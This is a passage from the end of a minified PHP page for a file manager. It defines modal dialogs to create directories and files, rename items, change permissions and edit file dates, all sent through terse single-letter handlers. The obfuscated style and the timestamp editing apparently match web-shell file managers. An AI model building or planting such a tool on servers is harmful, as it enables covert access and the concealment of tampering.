t=document.getElementById('toast');if(t){t.classList.add('translate-y-full','opacity-0');setTimeout(function(){t.remove()},300)}},3000);</script> <?php endif; ?> <?php function r($id,$t,$b,$oc,$in){echo'<div id="'.$id.'" class="hidden fixed inset-0 z-50 flex items-center justify-center p-4"><div class="absolute inset-0 bg-white/60 backdrop-blur-sm" onclick="cm(\''.$id.'\')"></div><div class="relative bg-white rounded-lg shadow-2xl ring-1 ring-zinc-900/5 p-5 w-full max-w-sm"><h3 class="text-sm font-bold text-zinc-900 mb-1">'.$t.'</h3><input type="text" id="'.$in.'" class="w-full bg-zinc-50 border border-zinc-200 rounded-md px-3 py-2 text-xs mb-4 focus:ring-1 focus:ring-zinc-900 focus:bg-white focus:border-zinc-900 transition-all outline-none"><div class="flex justify-end gap-2"><button type="button" onclick="cm(\''.$id.'\')" class="px-3 py-1.5 rounded-md text-zinc-500 hover:bg-zinc-100 text-xs font-medium">Cancel</button><button onclick="'.$oc.'" class="px-3 py-1.5 bg-zinc-900 text-white rounded-md hover:bg-zinc-800 text-xs font-medium shadow-sm transition-transform active:scale-95">'.$b.'</button></div></div></div>';} r('md','New Directory','Create',"sb('k',{n:document.getElementById('nd').value})",'nd'); r('mf','New File','Create',"sb('f',{n:document.getElementById('nf').value})",'nf'); ?> <div id="mr" class="hidden fixed inset-0 z-50 flex items-center justify-center p-4"> <div class="absolute inset-0 bg-white/60 backdrop-blur-sm" onclick="cm('mr')"></div> <div class="relative bg-white rounded-lg shadow-2xl ring-1 ring-zinc-900/5 p-5 w-full max-w-sm"> <h3 class="text-sm font-bold text-zinc-900 mb-4">Rename</h3> <input type="hidden" id="ro"><input type="text" id="rn" class="w-full bg-zinc-50 border border-zinc-200 rounded-md px-3 py-2 text-xs mb-4 focus:ring-1 focus:ring-zinc-900 focus:bg-white focus:border-zinc-900 transition-all outline-none"> <div class="flex justify-end gap-2"> <button type="button" onclick="cm('mr')" class="px-3 py-1.5 rounded-md text-zinc-500 hover:bg-zinc-100 text-xs font-medium">Cancel</button> <button onclick="sb('n',{o:document.getElementById('ro').value,n:document.getElementById('rn').value})" class="px-3 py-1.5 bg-zinc-900 text-white rounded-md hover:bg-zinc-800 text-xs font-medium shadow-sm transition-transform active:scale-95">Save</button> </div> </div> </div> <div id="mc" class="hidden fixed inset-0 z-50 flex items-center justify-center p-4"> <div class="absolute inset-0 bg-white/60 backdrop-blur-sm" onclick="cm('mc')"></div> <div class="relative bg-white rounded-lg shadow-2xl ring-1 ring-zinc-900/5 p-5 w-full max-w-sm"> <h3 class="text-sm font-bold text-zinc-900 mb-4">Permissions</h3> <input type="hidden" id="ct"><input type="text" id="cp" class="w-full bg-zinc-50 border border-zinc-200 rounded-md px-3 py-2 text-xs mb-4 font-mono focus:ring-1 focus:ring-zinc-900 focus:bg-white focus:border-zinc-900 transition-all outline-none" placeholder="0644"> <div class="flex justify-end gap-2"> <button type="button" onclick="cm('mc')" class="px-3 py-1.5 rounded-md text-zinc-500 hover:bg-zinc-100 text-xs font-medium">Cancel</button> <button onclick="sb('h',{w:document.getElementById('ct').value,r:document.getElementById('cp').value})" class="px-3 py-1.5 bg-zinc-900 text-white rounded-md hover:bg-zinc-800 text-xs font-medium shadow-sm transition-transform active:scale-95">Update</button> </div> </div> </div> <div id="mt" class="hidden fixed inset-0 z-50 flex items-center justify-center p-4"> <div class="absolute inset-0 bg-white/60 backdrop-blur-sm" onclick="cm('mt')"></div> <div class="relative bg-white rounded-lg shadow-2xl ring-1 ring-zinc-900/5 p-5 w-full max-w-sm"> <h3 class="text-sm font-bold text-zinc-900 mb-4">Edit Date</h3> <input type="hidden" id="tn"><input type="text" id="td" class="w-full bg-zinc-50 border border-zinc-200 rounded-md px-3 py-2 text-xs mb-4 font-mono focus:ring-1 focus:ring-zinc-900 focus:bg-white focus:border-zinc-900 transition-all outline-none"> <div class="flex justify-end gap-2"> <button type="button" onclick="cm('mt')" class="px-3 py-1.5 rounded-md text-zinc-500 hover:bg-zinc-100 text-xs font-medium">Cancel</button> <button onclick="sb('t',{w:document.getElementById('tn').value,d:document.getElementById('td').value})" class="px-3 py-1.5 bg-zinc-900 text-white rounded-md hover:bg-zinc-800 text-xs font-medium shadow-sm transition-transform active:scale-95">Update</button> </div> </div> </div> </body> </html>
SAVE
CANCEL